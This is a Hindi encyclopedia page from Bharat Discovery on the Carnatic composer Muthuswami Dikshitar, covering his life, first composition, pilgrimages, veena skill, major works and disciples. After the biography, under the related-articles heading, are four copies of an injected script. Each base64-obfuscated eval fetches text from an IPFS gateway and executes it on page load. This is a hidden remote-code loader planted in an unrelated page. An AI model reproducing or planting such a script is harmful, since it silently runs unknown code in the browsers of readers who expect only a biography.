मुथुस्वामी दीक्षित

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
मुथुस्वामी दीक्षित

मुथुस्वामी दीक्षित (अंग्रेज़ी: Muthuswami Dikshit) भारतीय शास्त्रीय संगीतज्ञ थे। मुथुस्वामी दीक्षित को वीणा पर प्रवीणता प्राप्त थी और वीणा का प्रदर्शन उनकी रचनाओं में स्पष्ट देखा जा सकता है, विशेषकर गमन में। उनकी कृति 'बालगोपाल में' उन्होंने खुद को वीणा गायक के रूप में परिचय दिया है।

परिचय

मुथुस्वामी दीक्षित का जन्म तमिलनाडु के तिरूवरूर (तमिलनाडु राज्य में) में तमिल ब्राह्मण दंपति रामस्वामी दीक्षित (रागा हम्सधवानी के शोधकर्ता) और सुब्बम्मा के यहाँ, सबसे बड़े पुत्र के रूप में हुआ था। ब्राह्मण शिक्षा परम्परा को मन में रखकर मुथुस्वामी दीक्षित ने संस्कृत, वेद और अन्य मुख्य धार्मिक ग्रन्थों को सीखा व उनका गहन अध्ययन किया। उनको प्रारम्भिक शिक्षा उनके पिता से मिली थी। कुछ समय बाद मुथुस्वामी संगीत सीखने हेतु महान् सन्त चिदम्बरनाथ योगी के साथ बनारस आ गए और वहां 5 साल तक सीखने व अध्ययन का दौर चलता रहा। गुरु ने उन्हें मन्त्रोपदेश दिया व उनको हिन्दुस्तानी शास्त्रीय संगीत की शिक्षा दी। गुरु के देहान्त के बाद मुथुस्वामी दक्षिण भारत को लौटे।

प्रथम रचना

पौराणिक कथा के अनुसार, मुथुस्वामी के गुरु ने उन्हें तिरुट्टनी (चेन्नई के पास एक मंदिर का शहर) की यात्रा करने के लिए कहा। वहां जब वे ध्यान मुद्रा में बैठे थे, तभी एक बूढ़ा आदमी उनके पास आया और मुंह खोलने के लिए कहा। बूढ़े आदमी ने उनके मुंह में शक्कर की मिठाई रखी और गायब हो गया। जैसे ही उन्होंने अपना मुंह खोला उन्हें मुरुगन देवता का दृष्टांत हुआ और उसके बाद ही मुथुस्वामी ने अपनी पहली रचना "श्री नाथादी गुरूगुहो" को राग मेयामलवागोला में गाया। इस गीत ने भगवान या गुरु को संस्कृत में पहली विभक्ति में संबोधित किया। बाद में मुथुस्वामी दीक्षित ने भगवान के सभी आठ अवतारों पर कृतियों की रचना की। ये ज्यादातर संप्रदाय/अनुग्रहवादी रूप में मुरुगन की स्तुति करने वाले उपधाराओं में थे।

यात्राएँ

फिर मुथुस्वामी तीर्थाटन के निकल गये और कांची, तिरुवन्नमलई, चिदंबरम, तिरुपति और कालहस्ती, श्रीरंगम के मंदिरों की यात्रा की और वहाँ कृतियों की रचना की और तिरुवारूर लौट आये।

वीणा प्रवीण

मुथुस्वामी दीक्षित को वीणा पर प्रवीणता प्राप्त थी और वीणा का प्रदर्शन उनकी रचनाओं में स्पष्ट देखा जा सकता है, विशेषकर गमन में। उनकी कृति 'बालगोपाल में' उन्होंने खुद को वीणा गायक के रूप में परिचय दिया।

योगदान

मुथुस्वामी दीक्षित ने अपने जीवनकाल में विभिन्न प्रकार की संगीत से सम्बंधित रचनायें की। इनमें से कुछ प्रमुख रचनाएं हैं- षोडश गणपति कीर्ति, गुरुगुहा विभक्ति कीर्ति, कमलाम्ब नववर्ण कीर्ति, नवग्रह कीर्ति, निलोत्पलाम्ब विभक्ति कीर्ति, पंचलिंग क्षेत्र कीर्ति, राम विभक्ति कीर्ति, अभायाम्ब विभक्ति कीर्ति तथा अन्य रचनाएं। इनके उत्कृष्ट संगीत तथा काव्य रचनाओं के संदर्भ में अनेक जनश्रुतियां प्रचलित हैं। इनकी प्रत्येक रचनाएं अन्य तत्कालीन रचनाकारों और कलाकारों से अलग थीं। इनमें से कुछ प्रमुख राग हैं- कमलाम्बा नववर्ण, नवग्रह कीर्ति, निलोत्पलम्ब कीर्ति और मेलाकार्थ राग। इनकी अधिकांश रचनाएं संस्कृत में थीं, जबकि इनके समक्ष त्यागराज की रचनाएं तेलगु में थीं।

शिष्य

इनके प्रमुख शिष्यों में शिवानंदम, पोंनाय्या, चिन्नाय्या और वादिवेलु थे। इनके शागिर्दों ने बाद में इनके सम्मान में एक ‘नवरत्न माला’ की रचना की, जिसने आगे चलकर भरतनाट्यम के माध्यम से भातीय शास्त्रीय नृत्य के निर्माण में मुख्य भूमिका निभायी।

कर्नाटक शैली

कर्नाटक शास्त्रीय शैली में रागों का गायन अधिक तेज और हिन्दुस्तानी शैली की तुलना में कम समय का होता है। त्यागराज, मुथुस्वामी दीक्षित और श्यामाशास्त्री को कर्नाटक संगीत शैली की त्रिमूर्ति कहा जाता है, जबकि पुरंदर दास को अक्सर "कर्नाटक शैली का पिता" कहा जाता है। कर्नाटक शैली के विषयों में पूजा-अर्चना, मंदिरों का वर्णन, दार्शनिक चिंतन, नायक-नायिका वर्णन और देशभक्ति शामिल हैं।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>